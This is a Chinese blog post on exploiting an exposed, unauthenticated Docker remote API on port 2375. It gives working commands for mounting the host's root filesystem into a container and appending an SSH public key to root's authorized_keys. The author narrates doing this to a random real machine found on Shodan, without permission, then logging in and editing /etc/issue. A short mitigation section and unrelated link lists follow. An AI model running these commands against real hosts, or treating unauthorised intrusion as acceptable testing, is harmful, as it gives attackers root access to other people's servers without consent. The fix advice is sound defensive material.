docker remote  api主要的目的是取代命令行界面,

docker client和docker daemon通过unix domain socket进行通信.

默认情况下,只有本机的root和docker组用户才能操作docker.

0x01漏洞成因
1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
2. docker守护进程监听在0.0.0.0,外网可访问
3.没有使用iptable等限制可连接的来源ip。

0x02漏洞危害及常见的攻击方式
1.远程对被攻击主机的docker容器进行操作

docker  -H tcp://*.*.*.*:2375 images

2.远程启动被攻击主机的docker容器,并挂载宿主机的目录,通过容器来修改宿主机的author ized_ keys文件,写入公钥。

docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash

具体的步骤是:

我没有自己搭建环境做测试,在shodan搜索port:2375找了一台机器,再找X国的机器,再找对应product是docker的主机,随机找了1台,可以看到宿主机的镜像,然后开始利用漏洞:

其实有很多,找到这些后在本地装有docker的机器上使用如下命令开始测试:

docker -H tcp://x.x.x.x:2375 images 

能看到宿主机的镜像,说明漏洞存在

开始利用:

在宿主机上启动docker容器:

 docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt 113a43faa138 /bin/bash        (113a43faa138为images ID )

这条命令的意思是启动一个image ID 为113a43faa138的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

启动之后就会获得该容器宿主机的shell:

然后进入 cd /root/mnt 目录

接下来开始创建免密钥登录文件(将本地的公钥存放在被入侵的服务器上)

mkdir .ssh   目录

假如存在.ssh文件夹,则进入该文件夹修改authorized_keys文件,将本地生成公钥字符串放入改文件中,

root@180d2dd6287a:/mnt/root/.ssh# vi authorized_keys
bash: vi: command not found
root@180d2dd6287a:/mnt/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNtdT1CyvMJTAHlhE2jZXSlIFG+FebBgLezKiEkl+XHt7BEwjwoRmT9q1cEtjTZe/DdfDS6kW9nzZwN3wxC5KSMppq0NS19MGnr9DrUkv2tAlXuwkVLPRZeKCMODEOI9ZeEwEz71PWD0MX7EkDBJxC+9FfWHvxCcXu+xyuj/f3j8zwScOCR0SqQfNp013j7CI/4ZYzzkMzcpI6LBo/jv0A/Hp3ODYdc8Urn6u4ZBzze1UAH27shx/I/6GBWMt9TLFgHvdXtEBD7r+vmQIMJxBXR8pZpuvCU54j3+NTi15LMWyY5ar/jOB9EEdIgdmRk4Ccqv92XQQ/ root@zabbix-mysql-master- >>authorized_keys # 这里使用追加的方式(>>)

替换成功,接下来在本地机器上使用命令:

Ssh root@x.x.x.x 登录,顺利登录:

随后修改了该机器的/etc/issue登录提示文件,告诉机主该机器docker存在漏洞,貌似目前已修复

修复方法:

1、设置ACL,只允许信任ip连接对应端口

2、开启TLS,使用生成的证书进行认证

https://docs.docker.com/engine/security/https/

最新文章

  1. Leetcode-2 Add Two Numbers
  2. myaudio.duration为null的解决办法
  3. 解决程序出现“terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc Aborted (core dumped)”的问题
  4. LR学习笔记---参数设置 (转 温故而知新)
  5. 【leetcode】N-Queens
  6. zk 获取session,request,servletContext,response
  7. css+div盒模型研究笔记
  8. js弹出窗口的学习和使用
  9. Android学习笔记之JSON数据解析
  10. UVA 257 - Palinwords(弦HASH)
  11. Objective-C与Swift下的自定义打印函数(Debug和Release)
  12. fedora上安装ffmpeg
  13. centos 7安装myslq
  14. 中文dumps显示
  15. SpringAop实操之记录关键业务请求数据
  16. Python Scrapy环境配置教程+使用Scrapy爬取李毅吧内容
  17. sql中有一些保留字,当你的字段名是它的保留字时,这个时候sql语句的字段不加``就会报错
  18. C++:多态浅析
  19. RedHat 将应用程序添加到 Gnome 菜单中
  20. eclipse+gnuarm+使用报错

热门文章

  1. hdu 2117:Just a Numble(水题,模拟除法运算)
  2. memset陷阱
  3. Asynchronous calls and remote callbacks using Lingo Spring Remoting
  4. ios APP 在 waiting for review时重新上传程序
  5. SSM框架---详细整合教程
  6. zookeeper 事务日志与快照日志
  7. 基于GTID的主从架构异常处理流程
  8. 8.javascript获取表单中两个数字,并判断大小
  9. MySQL 乐观锁与悲观锁
  10. 转!!Java设置session超时(失效)的时间